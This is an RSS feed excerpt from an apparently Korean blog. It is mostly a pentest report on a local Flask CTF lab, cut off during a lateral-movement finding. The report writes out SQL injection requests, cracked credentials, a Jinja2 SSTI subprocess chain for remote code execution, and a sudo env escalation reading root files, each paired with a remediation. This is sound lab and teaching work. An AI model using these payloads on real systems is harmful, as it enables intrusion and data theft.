&lt;td&gt;Let's Encrypt + Caddy 리버스 프록시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;바이러스 스캔&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;ClamAV 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/net/http&quot;&gt;Go net/http 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/html/template&quot;&gt;Go html/template 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Develop &amp;amp; OpenSource</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/100</guid>
      <comments>https://reversing-study.tistory.com/100#entry100comment</comments>
      <pubDate>Mon, 6 Apr 2026 01:18:10 +0900</pubDate>
    </item>
    <item>
      <title>SPACE PENTEST REPORT</title>
      <link>https://reversing-study.tistory.com/99</link>
      <description>&lt;h1&gt;모의해킹 결과 보고서&lt;/h1&gt;
&lt;h2&gt;1. 정보 수집 (Reconnaissance)&lt;/h2&gt;
&lt;h3&gt;1.1 대상 식별&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;대상 URL: http://localhost:5001
기술 스택: Python Flask + MariaDB 10.5 + Jinja2 템플릿
프론트엔드: Tailwind CSS, Font Awesome
컨테이너 구성: web (Flask), db (MariaDB), chatbot_server (SSH)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;1.2 디렉토리 및 엔드포인트 열거&lt;/h3&gt;
&lt;p&gt;주요 발견 경로:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;경로&lt;/th&gt;
&lt;th&gt;기능&lt;/th&gt;
&lt;th&gt;인증 필요&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;메인 페이지 (상품 목록)&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/users/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;로그인&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/users/register&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;회원가입&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/board/&amp;lt;id&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;게시판 글 조회&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/orders/&amp;lt;order_id&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;주문 상세 조회&lt;/td&gt;
&lt;td&gt;로그인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;관리자 페이지&lt;/td&gt;
&lt;td&gt;admin 계정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/admin/calculator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;관리자 계산기&lt;/td&gt;
&lt;td&gt;admin 계정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/robots.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;크롤러 제한 설정&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/static/js/main.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;프론트엔드 JavaScript&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/this_is_hidden_page&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;숨겨진 페이지&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;1.3 계정 정보&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;계정&lt;/th&gt;
&lt;th&gt;비밀번호&lt;/th&gt;
&lt;th&gt;권한&lt;/th&gt;
&lt;th&gt;발견 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;test&lt;/td&gt;
&lt;td&gt;testtesttest&lt;/td&gt;
&lt;td&gt;일반 사용자&lt;/td&gt;
&lt;td&gt;기본 테스트 계정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;admin&lt;/td&gt;
&lt;td&gt;bedspace&lt;/td&gt;
&lt;td&gt;관리자&lt;/td&gt;
&lt;td&gt;main.js 해시 크래킹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;chatbot (시스템)&lt;/td&gt;
&lt;td&gt;computer&lt;/td&gt;
&lt;td&gt;SSH 사용자&lt;/td&gt;
&lt;td&gt;/etc/shadow 크래킹&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;2. 취약점 상세 분석 및 익스플로잇&lt;/h2&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #1: SQL Injection (Union-based)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A03:2021 – Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/board/&amp;lt;id&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DB 내 모든 데이터 무단 조회 (플래그, 사용자 정보 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;게시판 글 조회 기능에서 사용자 입력(&lt;code&gt;id&lt;/code&gt;)이 SQL 쿼리에 직접 삽입된다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;취약 코드:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;query = f&amp;quot;SELECT id, title, content FROM notice WHERE id = {id}&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;파라미터 바인딩 없이 f-string으로 사용자 입력을 직접 쿼리에 포함하여 Union-based SQL Injection이 가능하다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1: 컬럼 수 확인&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /board/1 ORDER BY 3 --    → 정상 응답 (3 컬럼)
GET /board/1 ORDER BY 4 --    → 500 에러 (컬럼 초과)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 2: Flag 추출&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /board/-1 UNION SELECT NULL, flag_value, NULL FROM flag&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HSPACE{this_is_your_super_secret_flag}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;파라미터화된 쿼리(Parameterized Query) 사용&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;query = text(&amp;quot;SELECT id, title, content FROM notice WHERE id = :id&amp;quot;)
db.session.execute(query, {&amp;#39;id&amp;#39;: id})&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;입력값에 대한 정수 타입 검증 추가&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #2: 하드코딩된 자격증명&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A07:2021 – Identification and Authentication Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/static/js/main.js&lt;/code&gt; (프론트엔드), 로그인 로직 (백엔드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;관리자 계정 탈취 → 관리자 기능 전체 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;프론트엔드 JavaScript 파일에 관리자 비밀번호의 SHA-512 해시가 주석으로 포함되어 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// &amp;lt;!-- 개발하실 때 참고해주세요! admin:sha512:3645092c3582a96cd...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;또한 백엔드 로그인 로직에 비밀번호가 하드코딩되어 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;if username == &amp;#39;admin&amp;#39; and password == &amp;#39;bedspace&amp;#39;:&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SHA-512 해시를 rockyou.txt 등 사전 파일로 크래킹하면 비밀번호 &lt;code&gt;bedspace&lt;/code&gt;를 획득할 수 있다.&lt;/p&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;관리자 로그인 성공 (admin / bedspace)
HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;프론트엔드 코드에서 모든 민감 정보(해시 포함) 제거&lt;/li&gt;
&lt;li&gt;비밀번호를 DB에 bcrypt/Argon2로 해싱하여 저장&lt;/li&gt;
&lt;li&gt;하드코딩된 자격증명 검증 로직 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #3: 소스코드 내 민감 정보 노출 (Dev Mode)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A05:2021 – Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;메인 페이지 HTML 소스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;내부 정보 유출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;메인 페이지의 HTML 소스코드에 개발 모드 관련 플래그가 포함되어 있다. 브라우저 개발자 도구(F12)에서 &lt;code&gt;HSPACE&lt;/code&gt;를 검색하면 즉시 발견된다.&lt;/p&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HSPACE{d3v_m0d3_1s_d4ng3r0us}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;프로덕션 배포 시 디버그 정보, 개발 주석, 테스트 데이터 완전 제거&lt;/li&gt;
&lt;li&gt;CI/CD 파이프라인에 민감 정보 스캔 도구 통합&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #4: robots.txt 정보 노출&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A05:2021 – Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/robots.txt&lt;/code&gt; → &lt;code&gt;/this_is_hidden_page&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;숨겨진 페이지 경로 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt;에 비공개 페이지 경로가 &lt;code&gt;Disallow&lt;/code&gt; 설정으로 노출되어 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /this_is_hidden_page&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt;는 보안 메커니즘이 아니며, 오히려 공격자에게 숨겨진 경로를 알려주는 역할을 한다.&lt;/p&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;GET /this_is_hidden_page → HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;robots.txt&lt;/code&gt;에 민감한 경로를 포함하지 않음&lt;/li&gt;
&lt;li&gt;숨겨야 할 페이지는 인증/인가로 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #5: SSTI를 통한 원격 코드 실행 (RCE)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A03:2021 – Injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/calculator&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;서버 OS 명령 실행 (www-data 권한)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;관리자 계산기 기능이 사용자 입력을 Jinja2 템플릿으로 직접 렌더링한다. 이를 통해 Python 객체 체인을 이용한 Server-Side Template Injection(SSTI)이 가능하며, 최종적으로 임의 OS 명령 실행(RCE)에 도달한다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1: SSTI 확인&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;입력: {{7*7}}
출력: 49&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 2: RCE 달성&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;#39;&amp;#39;.__class__.__mro__[1].__subclasses__()[351](&amp;#39;id&amp;#39;,shell=True,stdout=-1).communicate()
# 출력: (b&amp;#39;uid=33(www-data) gid=33(www-data) groups=33(www-data)\n&amp;#39;, None)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: 플래그 읽기&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;#39;&amp;#39;.__class__.__mro__[1].__subclasses__()[351](&amp;#39;cat /flag.txt&amp;#39;,shell=True,stdout=-1).communicate()&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;서버에서 www-data 권한으로 임의 명령 실행 가능
HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;사용자 입력을 절대 템플릿 엔진에 직접 전달하지 않음&lt;/li&gt;
&lt;li&gt;Jinja2 샌드박스 모드 사용 또는 수식 전용 파서(eval 대체) 도입&lt;/li&gt;
&lt;li&gt;계산기 입력에 허용 문자 화이트리스트 적용 (숫자, 연산자만)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #6: SSTI를 통한 Flask 설정 정보 누출&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A05:2021 – Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/admin/calculator&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SECRET_KEY, DB 접속 정보 등 Flask 설정 전체 노출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;SSTI 취약점을 이용하여 Jinja2 컨텍스트의 &lt;code&gt;config&lt;/code&gt; 객체에 접근하면, Flask 애플리케이션의 전체 설정이 노출된다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;입력: config
출력: &amp;lt;Config {&amp;#39;SECRET_KEY&amp;#39;: &amp;#39;HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}&amp;#39;, &amp;#39;SQLALCHEMY_DATABASE_URI&amp;#39;: &amp;#39;...&amp;#39;, ...}&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;Flask SECRET_KEY 및 전체 설정 노출
HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;SSTI 취약점 근본 수정 (취약점 #5 대응 방안 참조)&lt;/li&gt;
&lt;li&gt;SECRET_KEY는 환경변수로 관리하고, 충분히 강력한 랜덤 값 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #7: IDOR (Insecure Direct Object References)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A01:2021 – Broken Access Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/orders/&amp;lt;order_id&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;타인의 주문 정보 무단 조회, 숨겨진 주문 데이터 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;주문 상세 조회 기능에서 &lt;code&gt;order_id&lt;/code&gt;에 대한 소유권 검증(Authorization) 없이 임의의 주문을 조회할 수 있다. 특히 &lt;code&gt;order_id = 0&lt;/code&gt;에 대한 특수 처리가 존재하여 숨겨진 주문 데이터에 접근 가능하다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;GET /orders/0
# 로그인한 사용자라면 누구나 접근 가능
# order_id=0에 숨겨진 플래그 데이터가 포함됨&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HSPACE{th1s_!s_h1dd3n_0rd3r}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;주문 조회 시 현재 사용자의 소유 여부 검증 추가&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;WHERE id = :order_id AND user_id = :current_user_id&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;order_id &amp;lt;= 0&lt;/code&gt;에 대한 접근 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #8: 권한 상승 (sudo env)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A05:2021 – Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;웹 서버 컨테이너 (Dockerfile 설정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;www-data → root 권한 상승&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;Dockerfile에서 &lt;code&gt;www-data&lt;/code&gt; 사용자에게 &lt;code&gt;/usr/bin/env&lt;/code&gt;에 대한 패스워드 없는 sudo 권한을 부여하고 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;echo &amp;quot;www-data ALL=(root) NOPASSWD: /usr/bin/env&amp;quot; &amp;gt;&amp;gt; /etc/sudoers&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;env&lt;/code&gt; 명령은 임의의 프로그램을 실행할 수 있으므로 이를 통해 root 쉘을 획득할 수 있다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1: sudo 권한 확인 (SSTI RCE 이용)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;#39;&amp;#39;.__class__.__mro__[1].__subclasses__()[351](&amp;#39;sudo -l&amp;#39;,shell=True,stdout=-1).communicate()
# (root) NOPASSWD: /usr/bin/env&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: root 권한으로 플래그 읽기&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;&amp;#39;&amp;#39;.__class__.__mro__[1].__subclasses__()[351](&amp;#39;sudo env /usr/bin/cat /root/flag.txt&amp;#39;,shell=True,stdout=-1).communicate()&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;www-data → root 권한 상승 성공
HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;www-data&lt;/code&gt;에 대한 불필요한 sudo 권한 제거&lt;/li&gt;
&lt;li&gt;최소 권한 원칙(Principle of Least Privilege) 적용&lt;/li&gt;
&lt;li&gt;GTFOBins 목록의 바이너리에 대한 sudo 부여 금지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #9: 횡이동 (Lateral Movement via Password Cracking)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A07:2021 – Identification and Authentication Failures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;웹 서버 → chatbot_server (SSH)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;인접 서버(chatbot_server)에 대한 무단 접근&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
